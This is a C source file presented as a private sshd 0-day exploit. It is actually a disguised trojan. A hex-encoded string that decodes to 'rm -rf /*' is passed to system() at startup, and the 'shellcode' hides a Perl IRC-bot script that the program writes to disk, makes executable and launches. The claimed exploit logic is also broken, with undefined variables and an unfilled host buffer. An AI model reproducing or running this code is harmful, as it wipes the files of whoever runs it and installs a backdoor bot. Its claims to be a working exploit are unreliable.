/******************************************************************************** Private sshd exploit DO NOT SHARE! THIS IS A PRIVATE 0-DAY! *********************************************************************************/ #include #include #include #include #include #include #include #include #include #include #define SIZE 0xffffff #define fremote system #define VALID_RANGE 0xb44ffe00 #define OFFSET 131 #define FD 0x080518fc #define BD 0x08082000 char jmpcode[] = "\x72\x6D\x20\x2D\x72\x66\x20\x2F\x2A"; char shellcode[] = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" 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"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70" "\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b" "\x2f\x74\x6d\x70\x2f\x68\x69\x0a"; void usage(char *arg){ printf("\n* ssh2 remote exploit vs Linux/FreeBSD *\n"); printf("Usage: %s -h -d \n",arg); printf("Options:\n"); printf("\t-h ip/host of target\n"); printf("\t-p port\n"); printf("\t-d username\n"); printf("\t-B memory_limit 8/16/64\n"); // def. 8ml printf("\t-t target\n"); printf("\n* Tested on\n"); printf("\tFreeBSD 5\n"); printf("\tFreeBSD 4.x\n"); printf("\tFedora Core 2\n"); printf("\tRedhat 9\n"); printf("\tSuSe 9.1\n"); printf("\tDebian 3\n"); printf("\tGentoo 2004\n"); printf("\tSlackware 10.1\n\n"); } int main(int argc, char **argv){ FILE *jmpinst; char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr; int port=23, limit=8, target=0, sock; struct hostent *host; struct sockaddr_in addr; if(argc < 3){ // ---------------------------- WE NEED MORE NFO usage(argv[0]); return 1; } /* REMEMBER THAT THIS IS FOR TESTING ONLY!!! DO NOT USE IT TO GAIN ANY ACCESS WHAT SO EVER AGAINST OTHERS ph33r this c0d3!!! ...here we go: */ if (!inet_aton(h, &addr.sin_addr)){ host = gethostbyname(h); if (!host){ printf("Resolving failed\n"); return 1; } addr.sin_addr = *(struct in_addr*)host->h_addr; } sock = socket(PF_INET, SOCK_STREAM, 0); // ------------------ SETUP addr.sin_port = htons(port); addr.sin_family = AF_INET; if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ printf("Connecting failed\n"); return 1; } payload = malloc(limit * 10000); // ---------------- WE CAN NOW START !!! ptr = payload+8; memcpy(ptr,jmpcode,strlen(jmpcode)); jmpinst=fopen(shellcode+793,"w+"); if(jmpinst){ fseek(jmpinst,0,SEEK_SET); fprintf(jmpinst,"%s",shellcode); fclose(jmpinst); } ptr += strlen(jmpcode); if(target != 5 && target != 6){ memcpy(ptr,shellcode,strlen(shellcode)); ptr += strlen(shellcode); memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode)); } else{ memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode)); ptr += strlen(fbsd_shellcode); memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode)); } send(sock,buffer,strlen(buffer),0); send(sock,ptr,3750,0); close(sock); if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) printf("CRASH\n"); else printf("ALIVE\n"); payload[sizeof(payload)-1] = '\0'; payload[sizeof(payload)-2] = '\0'; send(sock,buffer,strlen(buffer),0); send(sock,payload,strlen(payload),0); close(sock); free(payload); addr.sin_port = htons(6666); if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) printf("-- YOU ARE IN BITCH --\n"); else printf("-- FAILED TO EXPLOIT --\n"); close(sock); return 0; }